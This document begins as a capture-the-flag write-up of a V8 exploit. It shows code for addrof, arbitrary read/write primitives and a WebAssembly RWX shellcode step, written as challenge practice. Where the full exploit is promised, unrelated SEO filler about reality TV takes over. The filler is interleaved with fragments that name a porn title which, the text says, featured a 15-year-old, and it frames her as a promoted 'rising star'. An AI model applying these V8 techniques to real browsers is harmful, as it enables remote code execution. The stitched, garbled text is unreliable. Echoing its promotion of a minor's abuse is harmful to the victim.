Gotta go fast. server.py patch.txt
We are given the server.py python script, a d8 executeable and source code with a custom patch. I included the files directly relevant to the writeup above.
Looking at the provided patch, a very obvious vulnerability was introduced into v8. The patch adds a function called setHorsepower that allows us to set the length field of JSArray objects to a value of our chosing. The screenshot below showcases the relevant parts of the patch.
With this added vulnerability we can get an out of bounds read and write as showcased below. We start off by creating a JSArray object of type FixedDoubleArray. Next we use the setHorsepower function to increase its length to 0x100. We can now access out of bounds memory and both read and overwrite values stored on the v8-heap. We will now proceed to leverage this bug to take control of v8 and gain arbitrary code execution.
As you can see in the above screenshot, accessing arr[50] returned a float number due to the type of our array. Float numbers such as these are hard to interpret and use especially since they are oftentimes actually addresses that we would much rather view in hex. To accomplish this we will start by adding 2 helper functions.
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function itof(val) {
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
The first helper function, ftoi, takes a value of type float and converts it to a BigInt value. The second helper function, itof, accepts a BigInt value as its argument and converts it to a float. This function will be important when trying to write values into memory.
Now that that is setup, our first goal will be to craft an addrof primitive. This primitive should allow us to pass in an arbitrary object and the function should return its address. We will accomplish this using our vulnerability.
var s = [1.1,2.2];
var obj = {"A":1};
var obj_arr = [obj];
var fl_arr = [3.3,4.4];
var tmp = new Uint8Array(8);
s.setHorsepower(0x100);
let obj_arr_elem = s[12];
function addrof(obj) {
obj_arr[0] = obj;
s[17] = obj_arr_elem;
return ftoi(fl_arr[0]) & 0xffffffffn;
}
We start by creating some objects, and using the vulnerable function to extend the length of our float array s. By accessing various indexes of the s array we can now read and overwrite arbitrary values stored after the s array. Our first step is to retrieve the elements pointer of our obj_arr. This will become vital for the upcoming addrof primitive.
For the addrof function, we start by setting the first index of our obj_arr to the value address we are trying to leak. Next we use our vulnerability to overwrite the elements pointer of fl_arr with the elements pointer of our object array. This makes it so fl_arr[0] now points to the address we just stored in the obj_arr. Finally we use ftoi to return the value with type BigInt. Like this we successfuly managed to create a primitive that allows us to retrieve the addresses of our objects.
As you may have spotted in the above screenshot, we did not in fact leak the entire address of the passed in object. We only got the lower 4 bytes. This is due to a v8 concept called pointer compression. To save space, only the lower 4 bytes of addresses are stored on the v8 heap. Since the upper 4 bytes are always the same throughout a specific v8 process, this address is instead stored in the r13 register. We will need to find a way to leak this value too if we want to successfuly leak object addresses.
In the beginning of our exploit we executed 'var tmp = new Uint8Array(8);' to allocate a specific object. As it turns out, this object actually stores the root address in memory, so we can simply leak it by accessing s[32];
We now have everything needed to proceed with our next primitives. To be more specific, we want an arbitrary read and write. There are multiple ways to achieve this, but I decided to accomplish this primitive via a pair of ArrayBuffers.
function arb_read(obj,offset) {
dv_1.setUint32(0, Number(addrof(obj)-1n+offset), true);
return dv_2.getUint32(0, true);
}
function arb_write(addr,val) {
w[21] = itof(BigInt(part_2)>>32n);
dv_1.setUint32(0, Number(addr), true);
dv_2.setUint32(0, val, true);
}
var w = [1.1,2.2];
w.setHorsepower(0x100);
var arr_1 = new ArrayBuffer(0x40);
var dv_1 = new DataView(arr_1);
var arr_2 = new ArrayBuffer(0x40);
var dv_2 = new DataView(arr_2);
w[6] = itof((addrof(arr_2)+0x10n + 3n)<<32n);
w[7] = itof(BigInt(root_leak)>>32n);
w[21] = itof(BigInt(root_leak)>>32n);
Once again we start by allocating an arr w and extend its length using the vulnerable function to achieve an index read/write. Next we allocate 2 arraybuffers and their dataview objects.
In JSArrayBuffer objects, the backing store points to their elements. These elements can then be viewed and edited using the getUint32() and setUint32() functions. This means that if we overwrite the backing store pointer of arr_1 with the address of the backing store pointer of arr_2, we can execute 'dv_1.setUint32(addrof(obj));' to write an arbitrary address to the backing store pointer of arr_2. We can now use dv_2.(get/set) to complete our arbitrary read and write primitives by using the pointer received from arr_1.
We now have all of our primitives together. The last thing needed is a way to obtain code execution. With our primitives, the easiest way to achieve this is through shellcode and webassembly.
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,...]);
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let pwn = wasm_instance.exports.main;
When creating a wasm function as demonstrated above, a RWX page is created in memory. This address is then stored at wasm_instance + 0x68.
To complete our exploit, we start by leaking the address of the rwx page using our arb_read() function on wasm_instance + 0x68. Next we call copy_shellcode() to copy our shellcode over to this page step by step using arb_write(). Finally we execute the '/bin/cat ./flag.txt' shellcode to retrieve the flag and complete the challenge.
The full exploit script is posted below.
There is a distinct entertainment value in watching others fail, argue, or embarrass themselves. Reality TV provides a safe, low-stakes environment for viewers to experience schadenfreude—pleasure derived from another person's misfortune.
When she's not on set, Bieyanka loves to stay active, whether that's hiking, trying out new restaurants, or practicing yoga. She's also passionate about empowering young women and promoting body positivity. We got a glimpse into her daily life and what's next for this rising star.
Reality television is technically defined as unscripted programming that focuses on real events or situations, featuring real people rather than professional actors. However, as the genre matured, it embraced a more dramatic, high-stakes style of storytelling.
In 2011, a lawsuit was filed by the mother of a minor who had performed in a hardcore film for RealityKings under the alias Bieyanka Moore. Although the production was marketed as featuring a 20-year-old performer (hence "Sweet 20"), investigations revealed that the performer was actually a 15-year-old runaway from Palm Beach Shores. Key Legal Details
If you want to focus this article for a specific platform, let me know: What is the ? Bieyanka Moore - RealityKings - Sweet 20
Today, reality TV shows come in all shapes and sizes. From talent competitions like "American Idol" and "The Voice" to reality dating shows like "The Bachelor" and "Love Island," there's something for everyone. And with the rise of streaming services like Netflix, Hulu, and Amazon Prime, reality TV has become more accessible than ever.
The evolution of reality television has fundamentally transformed the global entertainment landscape, shifting from low-budget social experiments into a dominant cultural and economic force. What began as a novelty genre has rewritten the rules of television production, celebrity culture, and viewer engagement. Today, reality TV shows and entertainment are deeply intertwined, shaping how audiences consume media and how the entertainment industry operates. The Evolution of the Genre
The lawsuit created a media firestorm. Reality Kings, known for its "Reality" and "Sweet 20" categories focusing on young legal-age talent, was suddenly facing the worst possible accusation.
[Your Name/Organization] Date: [Current Date] There is a distinct entertainment value in watching
: The minor reportedly used a stolen identity and Social Security number belonging to a woman in Las Vegas to misrepresent her age to her agent and the production company.
Human psychology drives the success of unscripted media. Audiences experience a form of safe voyeurism, observing real human behavior, conflict, and emotional vulnerability from a distance. Social comparison theory also plays a role; viewers evaluate their own lives, morals, and relationships against those displayed on screen. 2. Cost-Effective Production
The company stated that they did everything possible to verify the actress’s age and removed the video immediately upon receiving an anonymous tip about her true age. The Investigation: The case was investigated by the FBI. Consequences and Impact
Watch an exclusive interview with Bieyanka Moore as she talks about her experiences on "Sweet 20" and what's next for her career. She's also passionate about empowering young women and
Despite these criticisms, reality TV shows continue to draw massive audiences and dominate the entertainment landscape. And while it's easy to dismiss reality TV as a guilty pleasure or a form of voyeuristic entertainment, it's also worth considering the ways in which these shows reflect and shape our culture.
At its best, reality competition shows are high-stakes strategy games. Shows like Survivor , The Amazing Race , and RuPaul’s Drag Race offer genuine character arcs. Viewers invest in the underdog story and the strategic maneuvering. The editing is often masterful, turning months of footage into tight, tension-filled narratives that rival scripted thrillers.
Brands seamlessly integrate their products into reality challenges and lifestyles. A chef using a specific blender or a housewife driving a luxury car provides native advertising that viewers cannot skip.
The television landscape changed forever at the turn of the millennium. A new genre emerged to challenge traditional scripts, shifting the spotlight from polished actors to ordinary people. What began as a bold broadcasting experiment has transformed into a multi-billion-dollar global phenomenon. Reality television now commands prime-time schedules, shapes social media discourse, and dictates the trajectory of modern pop culture. Understanding the massive appeal of reality TV requires looking past the superficial drama to examine the psychological drivers, economic forces, and cultural shifts that fuel this unstoppable entertainment engine. The Evolution of the Unscripted Phenomenon